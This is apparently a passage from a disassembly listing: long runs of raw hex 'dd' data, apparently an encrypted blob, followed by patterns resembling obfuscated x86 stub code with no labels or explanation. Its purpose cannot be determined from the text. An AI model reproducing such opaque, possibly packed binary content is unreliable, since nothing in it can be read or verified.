		dd 614AA3FEh, 0C5378BEAh, 0B1598A69h, 325675B7h, 32563EBEh
		dd 85595DB1h, 0CD73CF7Ah, 3D5657B1h, 3256AA32h,	0F47D2CB1h
		dd 0DB8E1D44h, 325675BBh, 0F24879C6h, 0DB230F9Bh, 0B3366B7Eh
		dd 0AFB4955Fh, 0B930CBC7h, 3CA45560h, 0F2D58BD0h, 325C9CB3h
		dd 0BF1EBAB1h, 0E2245FC1h, 0EEF4E645h, 3D5E1038h, 3256A431h
		dd 325C3CB1h, 0F9E1EAB1h, 0FDA9A0DCh, 160500CAh, 0DB5A1A38h
		dd 3256AEBEh, 68D338DDh, 0E2FE6EE3h, 6819A3FBh,	0CAC4B7A5h
		dd 3D378949h, 3256AC37h, 3247B4B1h, 948AEB1h, 69A28642h
		dd 85C9BB6Ch, 6D1493D4h, 0FB118BA1h, 0E3D713D1h, 73E4FB0Dh
		dd 3FBF9ED0h, 0AF56AEB1h, 0FE278637h, 0BD7E37ABh, 401C51C4h
		dd 0B2368AE4h, 0B9599D72h, 3256BAB1h, 0FBD73BD0h, 0B937CC36h
		dd 0B759375Dh, 3256ABB3h, 21BF1D3Ah, 6856EAB1h,	41C0E09Ch
		dd 8C01EF3Dh, 6799247Fh, 0AE0DFB39h, 0B137552Ah, 52AF5775h
		dd 3256C158h, 0BE31E8B1h, 0AEBBACB8h, 0FE0727D4h, 0C6CC5ACBh
		dd 0E5F504BBh, 3256BF4Bh, 0B30CABB1h, 3FFB795Bh, 35D2E5B7h
		dd 525675B1h, 0B9303206h, 0B8593C46h, 3256AEAFh, 324EDFBEh
		dd 21BFABB1h, 0E356D5B1h, 0EB99A7F8h, 2615418Ah, 1BA79875h
		dd 1F4E3DC8h, 88DD8B6Ah, 345B2639h, 527B18D1h, 6D040B3Ah
		dd 0FB658BD0h, 32539CD1h, 48C4BAB1h, 5365473Ch,	3D569132h
		dd 32531435h, 0E2D7CBB1h, 4ACBE9E1h, 0B937CD04h, 47A989B6h
		dd 47A943BDh, 0DB36A4B9h, 3256AEA1h, 7BED1A4Ch,	951BBA36h
		dd 8B15D298h, 3AFC4BB3h, 68BABA0Fh, 5206DBA5h, 32564959h
		dd 403A31B1h, 0C2193B9Bh, 0C46F2537h, 4D751DB3h, 34F5A1CDh
		dd 32DA7A68h, 6D56BAB1h, 0C9DD3BE0h, 0D0BECFEEh, 0CE5657B9h
		dd 0B7596BBAh, 3256D58Ah, 324F67BEh, 0B45975B1h, 3256BAA2h
		dd 32565358h, 0F2EA30B1h, 0B196DAA9h, 9DE21DA9h, 0B9E71AA4h
		dd 33D4E5B6h, 0CB5675B1h, 3256E558h, 3ADB52B1h,	3D56AEB1h
		dd 32565539h, 0B137CBB1h, 23BFC176h, 0A856EAB1h, 8BCF319Ah
		dd 89325339h, 54D195F7h, 2EF50799h, 32564658h, 96000EB1h
		dd 9B42A3B0h, 0B45910A6h, 0CB022002h, 13BF7AE7h, 52A9A24Eh
		dd 0B3744A31h, 0DB134358h, 3FBFCAC0h, 0DB56D5B1h, 0BFE34565h
		dd 0A08B882Ah, 0FDEB2614h, 0CAAA1838h, 0B759CED1h, 325657B1h
		dd 0EFB42AD7h, 0B330B409h, 531C677Ah, 525A004Eh, 0DBAF31D7h
		dd 32565DB4h, 4B892DE4h, 47A936BFh, 38BFCBB9h, 0A056D5B1h
		dd 996BC0FCh, 649CFFF6h, 30D7B522h, 0B9565DB1h,	5A9CF61h
		dd 8A303748h, 35BFE82Bh, 7E56D5B1h, 5B8E28C2h, 0DA37332Bh
		dd 3256BD5Ch, 34D052D1h, 3D56AEB1h, 32565736h, 324242B1h
		dd 6F4CD5B1h, 319DC739h, 0AA261675h, 0FA18F6FEh, 0C2EAF3AEh
		dd 3937A35Ch, 2D25871h,	0DB56ABB1h, 3256D5BEh, 9A8F209Eh
		dd 526FF545h, 165B4D69h, 0DBF7F676h, 3256AEB8h,	368EA00Ch
		dd 0F292E9ECh, 31CC3CE1h, 8A36EAB1h, 514F7BC0h,	0B9376705h
		dd 0B859A1F4h, 3256AEB0h, 3D516E44h, 3255D433h,	33DADAB1h
		dd 0CB56EAB1h, 0CAAA304Eh, 3252C532h, 321BD9BEh, 0B259AEB1h
		dd 325657B0h, 3E292848h, 0ED2DAB1h, 5256EAB1h, 8FB19F09h
		dd 325953ACh, 0D3755DB1h, 0DD319513h, 42BFDB76h, 0EAAE0D5Fh
		dd 56BFB4EEh, 5256EAB1h, 3255F0BEh, 0B930BAB1h,	325AB461h
		dd 0FE48AEB1h, 9CF2D208h, 2CCFC88Ah, 8A3739EFh,	0CDA9154Eh
		dd 3259F1BEh, 38BFBAB1h, 42565DB1h, 7053206Bh, 1014CC6Dh
		dd 325312BEh, 0BC59D5B1h, 3256EAB9h, 3254F7BEh,	5336BAB1h
		dd 3CBFF642h, 0A456AEB1h, 0A83FBAEh, 25EE0765h,	7AAF2B72h
		dd 0CCC80380h, 0B1AF8A4Eh, 3D53AACEh, 32562535h, 4DD552B1h
		dd 0B75951A1h, 3256AB11h, 3256D058h, 274BF2B1h,	0DB179644h
		dd 3256BABAh, 2010E81Fh, 8AB44980h, 0B9CCBB4Ch,	8A36AFF6h
		dd 7FBEF48Dh, 3256FB58h, 664A72B1h, 0D3022757h,	94AC411Ch
		dd 0EDD1B9FDh, 0B937842Ch, 0B359A7EEh, 3256D5ABh, 324602D1h
		dd 6CFB75B1h, 0FEF66690h, 0EE7831AAh, 22776436h, 52083E82h
		dd 32BFCAD0h, 0DB56D5B3h, 3256EAB4h, 63A89EA6h,	3611311Eh
		dd 3250D9BEh, 0CB36AEB1h, 5389DCD7h, 3D5AF43Ah,	3256D938h
		dd 34D2E5B1h, 3D5675B1h, 3256BA31h, 33E0B4B1h, 0B336AEB1h
		dd 5DAC217Bh, 53C01CDCh, 0DB52923Ah, 3256EABDh,	0A9FCA7CAh
		dd 0ECC85F1h, 0BCD8087Ch, 0DB5AF13Ah, 325657BAh, 7B562669h
		dd 9D3931Fh, 9E6A7A1h, 0B7597DEEh, 3256BA03h, 0E3D73BD1h
		dd 6037AF74h, 3247BED1h, 5282ABB1h, 531BA69Ch, 0EAAA0F6Bh
		dd 0EE7C37E2h, 544F4452h, 5319D70Fh, 3256A458h,	0F5BD79B1h
		dd 0C4934309h, 0B9619977h, 19A3EEE6h, 8D3665E4h, 5D38CFE4h
		dd 97BCE3D7h, 2603ADD0h, 5486DCD1h, 0B937593Ah,	0BF59D9EEh
		dd 3256EAA7h, 32566458h, 0D093F6B1h, 0E49355EFh, 0D3BAFC7Ah
		dd 0D7419DE4h, 0E87D1C26h, 3256D958h, 0C457CEB1h, 9862216Bh
		dd 0CB635F9Ch, 37BDDEA4h, 0B759F449h, 325657A6h, 3256B958h
		dd 1B7D20B1h, 4E157612h, 84B4981Eh, 0D2E10EEFh,	0DB8A6C08h
		dd 3256AE2Ch, 32565258h, 4D29B7B1h, 75DD2509h, 325C03B5h
		dd 0F5D75B1h, 3F187133h, 77FD9644h, 325C2BBEh, 3D3657B1h
		dd 3256AB37h, 530982B1h, 0DB5AB53Ah, 325675A5h,	0D394083Eh
		dd 0B39FB762h, 15DE9942h, 2E4703BCh, 8DE87D8Fh,	32515EBEh
		dd 0B059EAB1h, 325675B0h, 3609914Dh, 3AD2524Dh,	3D56AEB1h
		dd 32565534h, 0B137CBB1h, 0B259D05Ah, 3256EAB6h, 3257F6BEh
		dd 0DBAFBAB1h, 32565DA5h, 150F4B88h, 0F01FAB35h, 60AE7B77h
		dd 1CF0299Ah, 3AEFF347h, 8FFFB2h, 5436BCB6h, 9B438F30h
		dd 22292DD0h, 1FD358B2h, 5256ABB1h, 3256DC58h, 0F128C1B1h
		dd 0A636F66h, 0B8599485h, 32565DB2h, 53006931h,	3258BEF0h
		dd 509AABB1h, 2DCC0E1h,	204F3B0Fh, 0E431894Bh, 0B459639Ah
		dd 32565DBFh, 3256A758h, 592408B1h, 90BACEF4h, 0BBAF1C69h
		dd 0DB57EBEDh, 325675A1h, 5C7B873Dh, 8138D8FAh,	0C453148Ch
		dd 10A521B7h, 0CDA95409h, 37EF204Eh, 0DB56EAB1h, 325675BCh
		dd 9E3F58CFh, 39BA414Eh, 88A411FBh, 52FDA4F5h, 0DB37613Ah
		dd 0CDA92E55h, 23D5E5D1h, 0DA5675B1h, 3256BABAh, 10866DCDh
		dd 209C00B4h, 695AFDFCh, 53AE20D7h, 32423CD0h, 63E0EAB1h
		dd 145F3626h, 0D5160912h, 465DABAh, 589EFD2Fh, 0CA9F5930h
		dd 5256BB73h, 2E9954D7h, 12EF8C9Bh, 67AA14F2h, 31DAB5D1h
		dd 3D565DB1h, 0B2596806h, 325657B3h, 0B937CAD1h, 0B137B55Dh
		dd 0DBAA1675h, 325675B8h, 12DE1090h, 0C1F8D107h, 0B459CE6Bh
		dd 325657A0h, 325D20BEh, 34BFD5B1h, 7456EAB1h, 5A4598F7h
		dd 32565276h, 0B30C5DB1h, 3FE56E5Bh, 3CBFAFB7h,	5056ABB1h
		dd 0D79CE6EAh, 0B55FC85Dh, 7B29A3E0h, 0BAEC3142h, 0CA5050C0h
		dd 0BD596782h, 325657A0h, 325D26BEh, 34BFD5B1h,	8F56EAB1h
		dd 9EA8D963h, 3269391Bh, 3170D9BEh, 0B9AAAEB1h,	3CD458B6h
		dd 0DB56ABB1h, 3256D5B8h, 0C2B34C54h, 23D782EDh, 3E234516h
		dd 3242B5D1h, 42D8AEB1h, 6226AACh, 82FC923Bh, 55C65971h
		dd 5896B41Bh, 0FED67478h, 8559E407h, 47A93C72h,	0CE0657B9h
		dd 32555759h, 3BD7A4B1h, 5256D5B1h, 0D6B86BD7h,	53082749h
		dd 0B7597ABAh, 32565DBFh, 0C7512544h, 32566358h, 8559CBB1h
		dd 0F5D5B478h, 325B03A5h, 0AC075B1h, 698F952Eh,	116A2F1h
		dd 5218F2A8h, 3255DCBEh
		dd 0EBD6ABB1h, 3DA3B534h, 3256EA37h, 0DB3714B1h, 0CDA945ECh
		dd 0CE13D444h, 32572EBEh, 0CDAE57B1h, 0BE59A7C4h, 3256D5B8h
		dd 0DCD78CD1h, 0FADD4142h, 3A2345D0h, 5261A244h, 0FFBA930Fh
		dd 4CBE36ADh, 0DB56ABB3h, 3256D5B4h, 103260B0h,	32479C60h
		dd 3049BAB1h, 980CB0A6h, 66FCCB62h, 7C8CE7F5h, 39D1961Fh
		dd 1CD2DA71h, 0DB56EAB1h, 325675A3h, 0ABADF460h, 86B7E077h
		dd 230D1681h, 23727088h, 2BBFC3FDh, 0DB56D5B3h,	3256EABCh
		dd 0BD3F621Fh, 0D4A01F1Dh, 6150902Eh, 0CE1325C1h, 32565858h
		dd 851F20B1h, 0FF0EAAEEh, 0F6833A28h, 1C6AB87Ch, 0B059BD88h
		dd 32565C59h, 0CE135149h, 3629D44Dh, 19D2A4B1h,	5256D5B1h
		dd 0B930B3E3h, 4DD5144Ah, 0B659BABDh, 32565DABh, 35D9A144h
		dd 3D5657B1h, 3256AA33h, 61BF20B1h, 3D56EAB1h, 32567432h
		dd 0CDEE46B1h, 0CAA9A24Eh, 325E29BEh, 0B95957B1h, 3256ABB3h
		dd 37EFB4D1h, 3D56EAB1h, 32567036h, 8559DAB1h, 99A53C40h
		dd 0F8852FD1h, 0B34AD03Fh, 9F371A41h, 0C6BFB4A8h, 52A9154Fh
		dd 3253FEBEh, 0B330BAB1h, 0B3355B56h, 0F8CFA660h, 4DD53686h
		dd 0B659AEA1h, 3256D534h, 3256E258h, 54ACA9B1h,	0D4630A54h
		dd 2229DE6Dh, 83D3A1B7h, 3D5657B1h, 3256A632h, 0F4D7B5B1h
		dd 5C44507Ch, 0E787F4D7h, 5217DB20h, 32DE52D1h,	8D56AEB1h
		dd 166E72A6h, 75DDCAD0h, 28D9DAB5h, 3D56EAB1h, 32566130h
		dd 325953B1h, 0D8BC5DB1h, 89BC1BCBh, 6EB1AC2Dh,	10B708EDh
		dd 3E095EDDh, 3256FA58h, 5A6D08B1h, 43C1E52Eh, 6023086Bh
		dd 7CB163D7h, 32CABE80h, 0DBAAABB1h, 3256D5B4h,	0C1CAD9E4h
		dd 3611FED1h, 3256B758h, 9B3D3BB1h, 0DEEA448Dh,	0B6DA431Ah
		dd 6DDDBE72h, 8559B5BDh, 0CCE3BB46h, 34BF14EEh,	0AC56BAB1h
		dd 4E12FD55h, 320647EFh, 0B95957B1h, 3256ABBDh,	325058BEh
		dd 0BC59EAB1h, 325675B1h, 0CB52FD3Ah, 0CB5A023Ah, 5252F19Ah
		dd 189ED6D7h, 0D9D5CA76h, 0B936B5B4h, 0CCDD8C6Eh, 0C99AF5D0h
		dd 222939D0h, 21D352B2h, 5256AEB1h, 0A5F11B08h,	6807FD9Ah
		dd 5217B4EEh, 0C70E60Eh, 0EB7D148Fh, 325E3EBEh,	0BA595DB1h
		dd 3256AEB3h, 6EDF36D1h, 3EBFAAB0h, 0D256D5B1h,	3D7A58D8h
		dd 48DAD7A9h, 52966B76h, 0B3C2AC31h, 0A4387B77h, 0CDEE36F5h
		dd 0C7A9544Eh, 3256D008h, 325F03B1h, 809075B1h,	51A052C2h
		dd 0C18D1F1Bh, 0B2BF561Ah, 0CAA9A84Ch, 33D5A4D0h, 0CE56D5B1h
		dd 3CD4E578h, 0DB5675B1h, 3256BAB8h, 397D02B2h,	0DF49F3AAh
		dd 325E9523h, 5436FE4Dh, 0EADE0C30h, 53915DBEh,	3ABF993Ah
		dd 9856BAB1h, 28212B13h, 0C73F9BE4h, 0CAAA9332h, 32572EBEh
		dd 52AFD5B1h, 3256F858h, 5914EFB1h, 2EF4B2C4h, 0CC82EF90h
		dd 581A05B5h, 0B9C768ACh, 3CBFA3F4h, 4956D5B1h,	76780E7Dh
		dd 0E790F443h, 68F6602Bh, 3E13661Eh, 32102CBEh,	23BF57B1h
		dd 0B156ABB1h, 1B355E85h, 0DA03C57Ah, 2364CF49h, 529CDE03h
		dd 3D46188Ah, 32568936h, 7791A2B1h, 3256AB4Dh, 32503CB1h
		dd 1F63EAB1h, 1130D587h, 3256B358h, 0E8F395B1h,	0EACFC10h
		dd 2BF409Ch, 0CA56ABB1h, 33AA9076h, 5256EAB1h, 32567358h
		dd 8666DAB1h, 0C75384C0h, 325847D0h, 562757B1h,	5B4EF732h
		dd 0E44F086Bh, 0CE7B2146h, 32567758h, 53A342B1h, 0CE13D648h
		dd 325E29BEh, 0B75957B1h, 3256ABB3h, 0DB9FB4D1h, 3256EABDh
		dd 58151780h, 0C73A42FBh, 1DF23905h, 0CA56A273h, 3EDC58E4h
		dd 3D56ABB1h, 3256D339h, 32D0E5B1h, 0B95675B1h,	0F6D5435Dh
		dd 2ED0524Dh, 3D56AEB1h, 3256413Fh, 324742B1h, 9CF0D5B1h
		dd 9BEBD494h, 1507131Fh, 66D205BDh, 522B6A7Fh, 325722BEh
		dd 0DAAF57B1h, 3256ABB1h, 0BCBC54EBh, 0DB50E709h, 325675A5h
		dd 9FFFE093h, 5CF7C3A5h, 484187A6h, 97D18AE1h, 5ED9828Eh
		dd 325F54BEh, 8D36EAB1h, 3CBF5BEFh, 1375206h, 325AB478h
		dd 0FE1AEB1h, 0BF325C27h, 58983AE5h, 1AF0726h, 3244036Ah
		dd 1DAB75B1h, 0F731BB26h, 2451DBDAh, 85F3A1DEh,	3D81095Ah
		dd 0CBAAF638h, 43DE6F3Ah, 0BE59ECBCh, 325675B0h, 3269394Dh
		dd 300DD9BEh, 20BFAEB1h, 275657B1h, 610B2CB4h, 0D91F5200h
		dd 4517A609h, 7A7815CEh, 0DD5439Dh, 1DD3524Eh, 0DB56AEB1h
		dd 325657B6h, 48CA32Ch,	0B16AA086h, 3DBFFE76h, 565675B1h
		dd 6A4A9183h, 0BD278FF1h, 0F3DA1175h, 9CBFB2F1h, 3DA9544Eh
		dd 3256D432h, 4DD516B1h, 0B65975B5h, 3256BA97h,	0D7A1DDD1h
		dd 0B137653Bh, 3D565BCEh, 3256BE35h, 69E1B5B1h,	321603D0h
		dd 543675B1h, 0F7CF5030h, 0ECE952E0h, 77A9CFE8h, 0F5D5A24Dh
		dd 325E42A5h, 0DA0AD5B1h, 0A5D43BC8h, 6CBF420Bh, 52A9454Eh
		dd 3DA7D6D7h, 3256AD36h, 0F1DD31B1h, 325E42D0h,	53A3D5B1h
		dd 2063FE03h, 4DD54DEFh, 0B659BFA1h, 32565D30h,	32582DBEh
		dd 3BBF57B1h, 4756ABB1h, 85B72B4Ah, 8AFC9BB6h, 34460A32h
		dd 32C83FBEh, 3D365DB1h, 8930550Eh, 52375D21h, 325528BEh
		dd 0B930D5B1h, 3D178B7Bh, 32567438h, 75DD46B1h,	3244B4B5h
		dd 0C369AEB1h, 478D8A0Dh, 0D1DA2A49h, 2C0A9C9Fh, 2016729Ah
		dd 3D5A2A3Ah, 3256A436h, 26BF3DB1h, 1756AEB1h, 6848EA54h
		dd 5776060Ch, 578F4468h, 0D911D8B9h, 3DF1A97Fh,	0DB37440Eh
		dd 32565D7Dh, 36112544h, 32564558h, 53793CB1h, 0D1C40E95h
		dd 2B7ACEA5h, 4EC1B196h, 0CA4AFB12h, 3D5A023Ah,	3256A63Eh
		dd 30DF58B1h, 5256ABB1h, 32D13CD0h, 37BFEAB1h, 0B55675B1h
		dd 9FCDA7DFh, 0DB521A3Ah, 3256AEBDh, 0D82AC74Ah, 61E52FCDh
		dd 0CE206CBEh, 525AB53Ah, 0DBA09531h, 3256BABDh, 4CFD66Bh
		dd 7D7619C5h, 0C3121455h, 360980D0h, 3256DC58h,	1EEE21B1h
		dd 76A861FCh, 54368973h, 0BCA2B230h, 0B69F2FD7h, 0D9D5361Bh
		dd 8B30CBB4h, 3EBFBDE8h, 0B856EAB1h, 0BCC320CBh, 0F38DB37Fh
		dd 53CA6084h, 3146D132h, 3259D2BEh, 73AEABB1h, 325150BEh
		dd 0B659EAB1h, 325675B0h, 0DB8F9144h, 32565DBDh, 4FF1BF30h
		dd 9B8DE68Eh, 0A463CBFDh, 33578938h, 3256E058h,	0EF88A6B1h
		dd 0BF24DB84h, 0CB4D3213h, 0CDA95109h, 37EFAE4Eh, 5256ABB1h
		dd 54067703h, 17E20B30h, 99A514EFh, 325738BEh, 0DBAE5DB1h
		dd 3256AEBBh, 0A74435F7h, 443FD7D4h, 94BFC69Dh,	3DA9154Ch
		dd 3256713Dh, 0EE6DAB1h, 54363CD0h, 0CBDD793Ah,	0CE13DCD0h
		dd 325723BEh, 0FBA3D5B1h, 3256E058h, 800A48B1h,	0C8899470h
		dd 0F19347B6h, 3256BD58h, 755C9CB1h, 27D4C4C2h,	1F625875h
		dd 0D8603D4Eh, 0A8B71E0Fh, 3256B058h, 743EA1B1h, 0BE26B91Eh
		dd 62E94B11h, 3256A558h, 0E64CC1B1h, 0B02EE877h, 0C2D70149h
		dd 6328C849h, 0BB590E49h, 3256AEB7h, 0E4DD31D1h, 32BECA4Dh
		dd 6856D5B1h, 89870030h, 0B05973BCh, 3256BABDh,	3250DBBEh
		dd 0B259AEB1h, 325657B1h, 325A22BEh, 0B959D5B1h, 3256EAB7h
		dd 3256FDBEh, 0A8DBBAB1h, 345B2F2Fh, 3256BA58h,	28DA95B1h
		dd 7223986Dh, 7C9E9238h, 0B55CE19Dh, 576230E9h,	32320254h
		dd 0DAAA5DB1h, 3256ABA8h, 3251D3BEh, 6136ABB1h,	0E3DDB3E8h
		dd 0DB5D61D0h, 325675A3h, 8ED46E57h, 584C5775h,	0C61D418Ah
		dd 0D8AF17B4h, 0F36DD066h, 32313C49h, 3CBFEAB1h, 0B55675B1h
		dd 0C002A2F0h, 0A51EF2C0h, 0DED39F11h, 361D5473h, 3D979048h
		dd 32565533h, 31AE1FB1h, 3DBF65FAh, 0A56BAB1h, 3DC22752h
		dd 0EA406841h, 89C899ECh
		dd 0F36DDE11h, 325E57BEh, 0CBAFEAB1h, 32567858h, 0B4BF43B1h
		dd 52565DB1h, 4C77EE08h, 48BF3688h, 0DB56ABB1h,	3256D5B8h
		dd 8164D6A0h, 5175F9F0h, 0AACC37F0h, 3D5053FDh,	3256A733h
		dd 0B33037B1h, 5266AA7Bh, 0E1A9B4D0h, 325765BEh, 0C7AF75B1h
		dd 3256F258h, 3259B4B1h, 0E35EAEB1h, 2C3ED312h,	7FB35E2Eh
		dd 84C4A182h, 8CCC67BFh, 3D507BFEh, 3256AB3Ch, 325AB4B1h
		dd 0BAC6AEB1h, 0D4808137h, 0D2B33D4Eh, 0E1A9BE56h, 3256E358h
		dd 448D7DB1h, 0DD61DACFh, 0B359BB66h, 3256AEB0h, 3D360C49h
		dd 3256A931h, 53AC5FB1h, 325003E8h, 76D975B1h, 0ABAA0E3Ch
		dd 0B0593DE9h, 3256AEA5h, 32565858h, 409540B1h,	22FC4C76h
		dd 23DD38B3h, 0AAAE9338h, 523679D0h, 0A8A1DCD7h, 2AEEC8A3h
		dd 8D5936F8h, 0CB03CA72h, 0BC59393Ah, 3256EAB9h, 3254F9BEh
		dd 5336BAB1h, 32565D59h, 0D8D7F4B1h, 345BEA32h,	3256A358h
		dd 380EEB1h, 1D065D2h, 32519C36h, 0A38BBAB1h, 0E9A20CA4h
		dd 22D1A133h, 0DB5657B1h, 3256ABBAh, 0ABC289AEh, 3F1F7B98h
		dd 52D8E207h, 0CBE1B5D1h, 32565859h, 0BD828B1h,	6B015547h
		dd 88DBCAEFh, 345BA72Fh, 3A13614Dh, 0E8DD13D1h,	53AD05BEh
		dd 3D365A38h, 3256AD3Eh, 0DDA4D7B1h, 0B9377A05h, 26BFD9F4h
		dd 7156EAB1h, 0C1DD5160h, 94EFE590h, 0F2906F30h, 3E6727F3h
		dd 0BB102250h, 0B259AFF6h, 3256D5ADh, 324063BEh, 23BF75B1h
		dd 0E056BAB1h, 0D5C28F04h, 6908E95Eh, 0ED0E86BEh, 2467B855h
		dd 5246903Ah, 4A946BD7h, 32519CDEh, 657BAB1h, 242D2F0h
		dd 75DFCF69h, 3AD658BDh, 3D56ABB1h, 3256D738h, 0B9378AB1h
		dd 0BBA361F4h, 0DB36AAF6h, 32565DA3h, 488FF263h, 1A49A533h
		dd 7192C809h, 55AF2255h, 0B3302F3Ch, 53AF9663h,	325B53D0h
		dd 48ED5DB1h, 631F038Dh, 71637071h, 0FBAC3F56h,	325A5CBEh
		dd 35BFEAB1h, 585675B1h, 6869BAC2h, 22948815h, 3D365BB1h
		dd 32565932h, 325F42B1h, 3009D5B1h, 0CCAAC966h,	0F485ADCDh
		dd 357ABF34h, 8C361AB7h, 1FBC5F43h, 53ADDCD7h, 2525B1D9h
		dd 3EDDDA19h, 3D56EAB1h, 3256733Eh, 32DBB5B1h, 0CD565DB1h
		dd 35670304h, 38DA58B7h, 0DB56ABB1h, 3256D5B4h,	0FEFA2204h
		dd 2DD3F8F6h, 5250B0CAh, 0B397EABEh, 74FDF669h,	0E2A936EFh
		dd 53AF5ED1h, 325E3CE3h, 83A3EAB1h, 0AABFB180h,	0B8DBE72Fh
		dd 345B29A5h, 73B12FD1h, 88310FD1h, 22A6FDCBh, 0B75984D0h
		dd 3256EABDh, 32567258h, 87318BB1h, 0A1F1CA64h,	3256BD58h
		dd 805467B1h, 0B89C9DC6h, 0F66548CEh, 0A197FBA2h, 3FADA763h
		dd 3DBF6A4Eh, 0D4565DB1h, 0BA10D58Ah, 4916205Dh, 0EBF15664h
		dd 0CE0CD912h, 4642683Ch, 0DBAA73BCh, 3256BAB8h, 8AD73195h
		dd 0C96DC23h, 72E15823h, 8D30CBBDh, 8A30B3A5h, 0B9378454h
		dd 20BF8D69h, 8E56BAB1h, 4E04A638h, 7BAF9F9Dh, 95E1D614h
		dd 34F964C2h, 3BBF879Ch, 3956EAB1h, 0C5746F63h,	8950DFC6h
		dd 325AD4BEh, 35BFAEB1h, 745657B1h, 0A34B1700h,	359DE64h
		dd 325A68BEh, 35BF75B1h, 8056BAB1h, 9F388A96h, 0CB0CD022h
		dd 35BF94B2h, 2556ABB1h, 4B7CB44Ch, 0B0DF0612h,	34517BF0h
		dd 324431BEh, 3FBF5DB1h, 4956AEB1h, 4FEB7D7Ch, 0CC4E90FCh
		dd 99EA62D1h, 38DAE5D0h, 525675B1h, 0C4297330h,	12E72E70h
		dd 38BFCED0h, 0D45657B1h, 30EC89Dh, 0F926F91Ch,	25D4E5D5h
		dd 0DB5675B1h, 3256BAA3h, 0C4D37E9Fh, 80E70A37h, 2D3CD1F5h
		dd 9EFE0AA1h, 0F137549Dh, 7CE88CD1h, 5161F5AEh,	0C800Fh
		dd 840F0000h, 6, 820Fh,	60520000h, 97EA8166h, 0E8618Ch
		dd 5A000000h, 0C079EA81h, 0F60060Dh, 108Fh, 0AE800h, 74790000h
		dd 5CD6C10h, 0B35FDB0Fh, 72E78158h, 6154915Fh, 0FC52F8FCh
		dd 0E41828Bh, 8E90607h,	29000000h, 0E7368A6Bh, 0B9D3E0D1h
		dd 41C64E6Dh, 5E9h, 2BA79F00h, 0E1F71A33h, 18D0Fh, 5AF90000h
		dd 18D0Fh, 5F50000h, 3039h, 158A0Fh, 10E90000h,	0CD000000h
		dd 4D7DBD2Ah, 60FE183Bh, 0C4ABBCB7h, 25DC6B4Bh,	7FFFFFFFh
		dd 6E9h, 7387CB00h, 89582D2Fh, 70E4182h, 0BE666006h, 8166DDDCh
		dd 6188A2CAh, 8B50605Ah, 0C3815AFBh, 8DD9ABEh, 850F5961h
		dd 1, 8B0FC3F9h, 0Dh, 8E9h, 3ADAB400h, 0CEB371AEh, 52FC5114h
		dd 7E9h, 54C19800h, 66265235h, 0E8h, 0EA815A00h, 60DC153h
		dd 0DE9h, 0C460B500h, 4BEBB2EEh, 8CEC0F40h, 8BFCEB1Ch
		dd 8B6660C8h, 0E0E861FBh, 0FFFFFFEh, 885h, 2870F00h, 60000000h
		dd 0FD23361h, 0E86h, 9E900h, 0CD380000h, 77FB8C79h, 0F79F8209h
		dd 0CE9F1h, 0A40D0000h,	74AD8936h, 5D6A0C24h, 0C28BB298h
		dd 1870Fh, 5AF80000h, 0C1816660h, 0BF0F3E58h, 0E95961D1h
		dd 7, 0F3D338DAh, 0C39D5369h, 0DE9h, 76B82500h,	409F43EDh
		dd 353EED13h, 7E9D804h,	8A000000h, 759866B7h, 0C08B41A7h
		dd 0E2816660h, 8C0FB638h, 6, 6BAAE981h,	8B6141AAh, 18D0FC0h
		dd 0F5000000h, 8A75858Dh, 10E9060Dh, 74000000h,	0E16E639Ah
		dd 0D61DCB07h, 9F3F2B13h, 0FFDF3CECh, 0C3B260D0h, 0D1ACBE66h
		dd 0C18B6661h, 11E9F9h,	5CEA0000h, 4AC343F1h, 86763347h
		dd 93A34624h, 8D9E5414h, 0DC05985h, 66FC6006h, 4017D381h
		dd 10E961h, 781E0000h, 5945C7AEh, 0B16A1847h, 3420D698h
		dd 8589D556h, 6071541h,	48D0Fh,	60600000h, 858D6161h, 60DC13Fh
		dd 16830Fh, 66600000h, 0C53AD681h, 0AE9h, 0E302B300h, 6D272884h
		dd 6156EC79h, 1B9D8589h, 880F0607h, 0Ch, 68B0Fh, 8F0F0000h
		dd 0
		dd 0B8h, 15810F00h, 0E9000000h,	10h, 90F43875h,	0A4A2CDFh
		dd 5A78EAA0h, 0FD432BD7h, 840FC00Bh, 1A0h, 9E9h, 34DCF500h
		dd 4F709B2h, 85C62692h,	6072C05h, 0FC8A6056h, 30DF6861h
		dd 0FE9A9C5h, 7E000000h, 7B0C436Ch, 152A55C1h, 0A370D4DCh
		dd 0B5FF1B15h, 60731ADh, 10E9h,	65D0C900h, 1FD49949h, 1369B3DAh
		dd 58361564h, 1F858D4Ah, 0F060A7Bh, 889h, 2870F00h, 60000000h
		dd 60D0FF61h, 0CE9h, 0B35EAF00h, 931E142Dh, 2D6632E1h
		dd 61D98B69h, 0BA666050h, 0F0B8EDB5h, 6161CF47h, 0B658D8Dh
		dd 0F600607h, 18Eh, 5161F800h, 0EE960h,	10F00000h, 0EA3775A8h
		dd 904EA4A5h, 6FE43BA9h, 0D78B6660h, 7E8h, 0E5CDCC00h
		dd 93221E95h, 6A616159h, 0DE904h, 5C050000h, 802BE6FAh
		dd 0D0F57096h, 0E9706FF1h, 0Ch,	0F890F7E5h, 2DE7B292h
		dd 7EAF37A0h, 100068h, 14E900h,	29830000h, 0F1356D2Bh
		dd 232CA65Ah, 4339B543h, 0E807F84Bh, 0B5FF2B7Ah, 6071409h
		dd 12890Fh, 0DE90000h, 69000000h, 2FDD286Ah, 36A40D77h
		dd 2474AD89h, 10E9D0FFh, 7E000000h, 60984BA3h, 8BBA0341h
		dd 3E627AB9h, 8B18B7DCh, 71409BDh, 16860F06h, 60000000h
		dd 0BE9h, 9522C000h, 8916A935h,	75C08F4Dh, 18AEBB66h, 5E961h
		dd 1D6C0000h, 30567C1h,	81F83C7Fh, 0F8C7h, 8830F00h, 60000000h
		dd 820Fh, 0F610000h, 1B85h, 15850F00h, 0E9000000h, 10h
		dd 5FB91699h, 0FE0851C1h, 0A81A40D0h, 0A00B723Fh, 202447C7h
		dd 0F8600000h, 7119D8Dh, 8E0F0607h, 8, 8166F560h, 616D1CF7h
		dd 11E960h, 0F3D80000h,	33D2DADCh, 16CA493h, 25EAB76Eh
		dd 66818972h, 61D79EBEh, 6660038Bh, 0B966D38Bh,	0B614D86h
		dd 3B840FC0h, 60000000h, 13890Fh, 0EE90000h, 0FC000000h
		dd 49E01FCh, 8B5578CBh,	0C534E562h, 146BB85Ah, 8B617AF1h
		dd 18E0F00h, 0F5000000h, 0E9044389h, 0Ah, 63E8D690h, 0E283C274h
		dd 0F6B90FFCh, 8D00234Ch, 0DC60E8Dh, 56006A06h,	3E8h, 0C35E2000h
